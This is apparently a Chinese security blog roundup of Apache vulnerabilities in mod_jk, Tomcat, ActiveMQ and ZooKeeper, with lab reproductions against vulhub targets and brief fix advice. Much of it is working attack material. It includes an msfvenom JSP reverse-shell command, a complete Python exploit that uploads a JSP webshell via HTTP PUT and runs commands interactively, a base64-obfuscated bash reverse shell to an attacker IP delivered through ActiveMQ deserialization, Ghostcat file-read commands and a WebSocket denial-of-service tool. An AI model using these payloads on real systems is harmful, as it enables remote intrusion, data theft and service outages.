Apache Apache Mod_jk 访问控制权限绕过 CVE-2018-11759
漏洞描述
由于httpd和Tomcat在路径处理规范上存在差异,因此可以绕过Apache mod_jk Connector 1.2.0b版本到1.2.44版本上由JKMount httpd指令所定义端点的访问控制限制。
如果一个只有只读权限的jkstatus的接口可以访问的话,那么就有可能能够公开由mod_jk模块给AJP提供服务的内部路由。
如果一个具有读写权限的jkstatus的接口可以访问的话,我们就能通过修改AJP的配置文件中相关配置来劫持或者截断所有经过mod_jk的流量,又或者进行内部的端口扫描。
是由于Apache Tomcat Web服务器(httpd)用于规范请求路径的代码,在匹配Apache Tomcat JK(mod_jk)连接器中的URI-Worker映射之前,没有正确处理某些边缘情况(如过滤“;”)而导致。攻击者利用此漏洞可通过构造恶意请求,实现访问控制绕过
影响版本
环境搭建
git clone https://github.com/immunIT/CVE-2018-11759.git
docker-conpose up -d
漏洞复现
在搭建好漏洞环境后,
Apache2即可。
加固建议
1、更新版本
2、打漏洞补丁
参考文章
https://www.codercto.com/a/56907.html
http://blog.nsfocus.net/apache-mod_jk/
Apache Tomcat 远程代码执行漏洞 CVE-2017-12615
漏洞描述
当启用了HTTP PUT请求方法(例如,将readonly 初始化参数由默认值设置为fals),攻击者可通过精心构造的攻击请求数据包向服务器上传包含任意代码的JSP文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或者获取服务器泉下
漏洞本事Tomcat下conf/web.xml文件配置了可写(readonly=false),导致我们可以往服务器写文件(使用PUT、DELETE)
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
虽然Tomcat 对文件后缀有一定检测(不能直接写jsp),但我们可以使用一些文件系统的特性(如Linux下可以/)来绕过限制
影响版本
Apache Tomcat 7.0.0 - 7.0.8
环境搭建
vulhub环境
漏洞复现
访问:http://192.168.88.135:8080/
msf生成一个jsp木马
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.88.128 LPORT=1234 -f raw > shell.jsp
利用PUT方法上传木马
curl -v -X PUT --data-binary @shell.jsp "http://192.168.88.135:8080/shell.jsp/"
监听端口
访问文件
getshell
也可以使用DELETE请求方法删除文件
成功删除,访问文件已被删除。
漏洞POC
#!/usr/bin/python3
#-*- coding:utf-8 -*-
# author : PeiQi
# from : http://wiki.peiqi.tech
import hashlib
import sys
import requests
import random
import re
def title():
print('+------------------------------------------')
print('+ 33[34mPOC_Des: http://wiki.peiqi.tech 33[0m')
print('+ 33[34mGithub : https://github.com/PeiQi0 33[0m')
print('+ 33[34m公众号 : PeiQi文库 33[0m')
print('+ 33[34mVersion: Apache Tomcat 7.0.0 - 7.0.81 33[0m')
print('+ 33[36m使用格式: python3 CVE-2017-12615.py 33[0m')
print('+ 33[36mUrl >>> http://xxx.xxx.xxx.xxx:8080 33[0m')
print('+ 33[36mCmd >>> shell 33[0m')
print('+ 33[36mCmd >>> exit(退出交互并删除webshell) 33[0m')
print('+------------------------------------------')
def POC_1(target_url):
md5_filename = str(random.randint(1,999)).encode("utf-8")
file_name = hashlib.md5(md5_filename).hexdigest()
vuln_put_url = target_url + "/" + file_name + ".jsp/"
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
}
data = """
<%
if("peiqi".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[1024];
while((a=in.read(b))!=-1){
out.println(new String(b));
}
}
%>
"""
try:
response = requests.request("PUT", url=vuln_put_url, data=data, headers=headers, timeout=30)
if response.status_code == 201 or response.status_code == 201:
print("33[32m[o] 含有CVE-2017-12615漏洞,成功上传shell,文件名为{}.jsp,响应为{}33[0m".format(file_name,response.status_code))
return file_name
else:
print("33[31m[x] 漏洞利用失败,PUT方法关闭 33[0m")
sys.exit(0)
except:
print("33[31m[x] 漏洞利用失败,PUT方法关闭 33[0m")
sys.exit(0)
def POC_2(target_url, file_name, cmd):
vuln_cmd_url = target_url + "/" + file_name + ".jsp?" + "pwd=peiqi&cmd=" + cmd
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
}
try:
response = requests.get(url=vuln_cmd_url, headers=headers,timeout=30)
if response.status_code == 200:
print("33[32m[o] 成功执行命令,响应为:n33[0m",response.text)
else:
print("33[31m[x] 漏洞利用失败,命令无法执行 33[0m")
sys.exit(0)
except:
print("33[31m[x] 漏洞利用失败,命令无法执行 33[0m")
sys.exit(0)
def POC_3(target_url, file_name):
vuln_delect_url = target_url + "/" + file_name + ".jsp/"
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
}
try:
response = requests.request("DELETE", url=vuln_delect_url, headers=headers, timeout=30)
if response.status_code == 200 or 201:
print("33[32m[o] 成功删除shell,文件名为{}.jsp,响应为{}33[0m".format(file_name,response.status_code))
return file_name
else:
print("33[31m[x] 删除失败 33[0m")
sys.exit(0)
except:
print("33[31m[x] 删除失败 33[0m")
sys.exit(0)
if __name__ == '__main__':
title()
target_url = str(input("33[35mPlease input Attack UrlnUrl >>> 33[0m"))
file_name = POC_1(target_url)
while True:
cmd = input("33[35mCmd >>> 33[0m")
if cmd == "exit":
POC_3(target_url, file_name)
sys.exit(0)
else:
POC_2(target_url, file_name, cmd)
参考文章
https://mp.weixin.qq.com/s?__biz=MzI1NDg4MTIxMw==&mid=2247483659&idx=1&sn=c23b3a3b3b43d70999bdbe644e79f7e5
https://mp.weixin.qq.com/s?__biz=MzU3ODAyMjg4OQ==&mid=2247483805&idx=1&sn=503a3e29165d57d3c20ced671761bb5e
漏洞原理
Tomcat未针对WebSokcet进行包长度校验。特制的WebSocket请求包将导致处理函数无限循环,最终导致服务停机并拒绝服务。
影响版本
Apache Tomcat 10.0.0-M1-10.0.0-M6
Apache Tomcat 9.0.0.M1-9.0.36
Apache Tomcat 8.5.0-8.5.56
Apache Tomcat 7.0.27-7.0.104
环境搭建
vulhub环境
漏洞复现
访问首页确定版本在漏洞版本范围内
访问漏洞地址:
http://192.168.88.135:8080/examples/websocket/echo.xhtml
可以访问说明存在漏洞
查看攻击前靶机的内存使用情况,可以看到此时的cpu利用率还是比较低的
exp运行需要go环境需要提前准备好go环境。
我这里是在kali上装的go环境因为比较简单
apt install golang-go
下载EXP:https://github.com/RedTeamPentesting/CVE-2020-13935
这里有个小坑会报一个错
et/.4.2.mod": dial tcp 172.217.27.145:443: connect: connection refused /v1
需要使用命令切换源
go env -w GOPROXY=https://goproxy.cn
执行攻击代码
./tcdos ws://192.168.88.135:8080/examples/websocket/echoStreamAnnotation
此时再到靶机上查看CPU利用率直线飙升
修复建议
针对非必要服务停用WebSocket
Apache Tomcat AJP 文件包含漏洞 CVE-2020-1938
漏洞原理
由于Tomcat AJP协议设计上存在缺陷,攻击者通过Tomcat AJP Connector可以读取或包含Tomcat 上所有webapp目录下的任意文件,例如可以读取webapp配置文件或源代码。
tomcat默认的conf/server.xml中配置了两个Connector,一个为8080的对外提供HTTP协议端口,另一个就是默认的8009AJP协议端口,两个端口默认均监听在外网IP
tomcat在接收ajp请求的时候调用org.apache.coyote.ajp.AjpProcessor来处理ajp消息,prepareRequest将ajp里面的内容取出来设置成request对象的Attribute属性。可以通过此种特性从而可以控制request对象下面的三个Attribute属性。
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
再通过控制ajp控制的上述三个属性来读取文件,通过操控上述三个属性从而可以读取到应用目录下的任何文件
影响版本
Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31
环境搭建
vulhub环境
漏洞复现
访问网站首页
下载POC:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
读取WEB-INF/web.xml
python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py -p 8009 -f /WEB-INF/web.xml 192.168.88.135
读取ROOT目录下的build.xml文件内容
python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py -p 8009 -f build.xml 192.168.88.135
修复建议
1、官方升级
2、如不需要Tomcat AJP协议可直接关闭
3、使用Tomcat AJP协议时,可根据使用版本配置协议属性设置认证凭证
漏洞原理
Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务,集群,Spring Framework等。Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码。
影响版本
Apache ActiveMQ 5.13.0之前5.x版
漏洞复现
访问网站首页
下载漏洞利用工具jmt
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
mkdir external
执行命令(此处为靶机IP地址,)环境运行后开启61616和8161两个端口,其中61616是工作端口,消息在这个端口进行传递。
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/vuln" -Yp ROME 192.168.88.135 61616
访问 http://192.168.88.135:8161/admin/browse.jsp?JMSDestination=event
此时会给目标添加一个队列,点击查看该消息即可触发命令执行
反弹shell命令
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEyOC8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}" -Yp ROME192.168.88.135 61616
反弹语句
bash -i >& /dev/tcp/192.168.88.128/1234 0>&1
base64加密
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEyOC8xMjM0IDA+JjE=
组合
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEyOC8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}
最终嵌入执行语句即可执行命令
同时监听1234端口
访问网站:http://192.168.88.135:8161/admin/browse.jsp?JMSDestination=event
成功生成事件
点击事件触发命令执行成功fantanshell
修复建议
升级版本或打补丁
管理员设置强口令,并增强安全意识不要随意点击陌生连接(哪怕是自己站内的)
上WAF
Apache ActiveMQ 远程代码执行漏洞(CVE-2016-3088)
漏洞原理
环境监听61616端口和8161端口,其中8161为web控制台端口,本漏洞就出现在控制台中
ActiveMQ的WEB控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是存储文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。
fileserver是一个RESTful API接口,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作,其设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷,但后来发现:1、其使用率并不高 2、文件操作容易出现漏洞
所以 ,ActiveMQ在5.12~5.13.x版本中,已经默认关闭fileserver这个应用(可以在conf/jetty.xml中开启)在5.14.0以后便彻底删除了fileserver应用
漏洞产生原因其实很简单,就是fileserver支持写入文件(但不解析jsp),同事支持移动文件(MOVE请求)。所以我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞。
写入文件的方法
1、写入webshell
2、写入cron或ssh key等文件
3、写入jar或jetty.xml等库和配置文件
写入webshell的优点是门槛低更方便,缺点是fileserver不解析jsp
写入cron或ssh key 好处是直接反弹拿shell,缺点是需要root权限
写入jar比较麻烦(需要jar的后门)
写入xml配置文件需要知道activemq的绝对路径
影响版本
Apache ActiveMQ 5.x~5.14.
漏洞复现
访问url:
http://192.168.88.138:8161/admin/test/systemProperties.jsp
admin/admin登录
使用PUT方式上传
使用MOVE方式移动file:///opt/activemq/webapps/api/s.jsp
http://192.168.88.138:8161/api/s.jsp?cmd=ls
Apache ZooKeeper 未授权访问漏洞 CVE-2014-085
漏洞原理
ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,是Google的Chubby的一个开源的实现,是Hadoop和Hbase的重要组件。它是一个为分布式应用提供一致性服务的软件,提供的功能包括:配置维护、域名服务、分布式同步、组服务等
ZooKeeper默认开启在2181端口,在未进行任何访问控制情况下,攻击者可通过执行envi命令获得系统大量的敏感信息,包括系统名称、JAVA环境
默认安装配置完的zookeeper允许未授权访问,管理员未配置访问控制列表(ACL)。导致攻击者可以在默认开放的2181端口下通过执行envi命令获得大量敏感信息(系统名称、java环境)导致任意用户可以在网络不受限的情况下进行未授权访问读取数据甚至直接关闭服务。
可用于访问控制的模式有:
· word 代表任何用户
· auth 不使用任何id,代表任何已经认证过的用户
· digest 使用username:password认证,password使用md5哈希之后base64再编码,现改成的sha1加密
· IP用客户端的IP作为ACL的标识
环境搭建
#搭建环境
wget https://mirrors.tuna.tsinghua.edu.cn/apache/zookeeper/zookeeper-3.4.14/zookeeper-3.4.14.tar.gz
tar -xzvf zookeeper-3.4.14.tar.gz
cd zookeeper-3.4.14/conf
mv zoo_sample.cfg zoo.cfg
start # 启动
默认端口是2181
漏洞复现
靶机IP:192.168.88.128
攻击IP:192.168.88.135
尝试连接
./zkCli.sh -server 192.168.88.128:2181
获取服务器环境
stat:列出关于性能和连接的客户端的统计信息
echo stat | nc 192.168.88.128 2181
ruok:测试服务器是否运行在非错误状态
echo ruok | nc 192.168.88.128 2181
reqa:列出未完成的请求
echo reqs | nc 192.168.88.128 2181
envi: 打印有关服务环境的详细信息
echo envi | nc 192.168.88.128 2181
dump : 列出未完成的会话和临时节点
echo dump | nc 192.168.88.128 2181
在zk的客户端进行节点权限的查看和设置
从上述操作可以看出,zk新创建的test默认访问方式为word。我们通过addauth和setAcl给/test节点设置访问权限为digest,操作权限为cdrwa,用户名为user,密码为password
另起zk客户端,执行ls /test,发现当前用户已经无法访问/test阶段了,提示信息为“Authentication is not valid”.解决办法就是addauth添加认证用户了,并且必须使用用户名和密码明文进行认证
addauth添加digest认证用户user后,即可正常访问/test节点了
另外znode的ACL是相互独立的,也就是说,任意不同节点可以用不同的acl列表,互不影响,并且ACL是不可被继承的
修复建议
禁止把Zookeeper直接暴露在公网
添加访问控制,根据情况选择应对方式(认证用户,用户名密码,指定IP)
配置防火墙策略,只允许指定IP访问2181端口
配置服务ACL限制IP 访问
利用工具下载地址:
https://issues.apache.org/jira/secure/attachment/12436620/ZooInspector.zip
参考文章
https://blog.csdn.net/u011721501/article/details/44062617
https://www.cnblogs.com/0nc3/p/12071281.html
https://xz.aliyun.com/t/6103#toc-7
https://blog.csdn.net/Aaron_Miller/article/details/106049421
https://www.cnblogs.com/ilovena/p/9484522.html
• 往期精选
下方点击关注发现更多精彩!
原文始发于微信公众号(银河护卫队super):Apache 漏洞总结
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论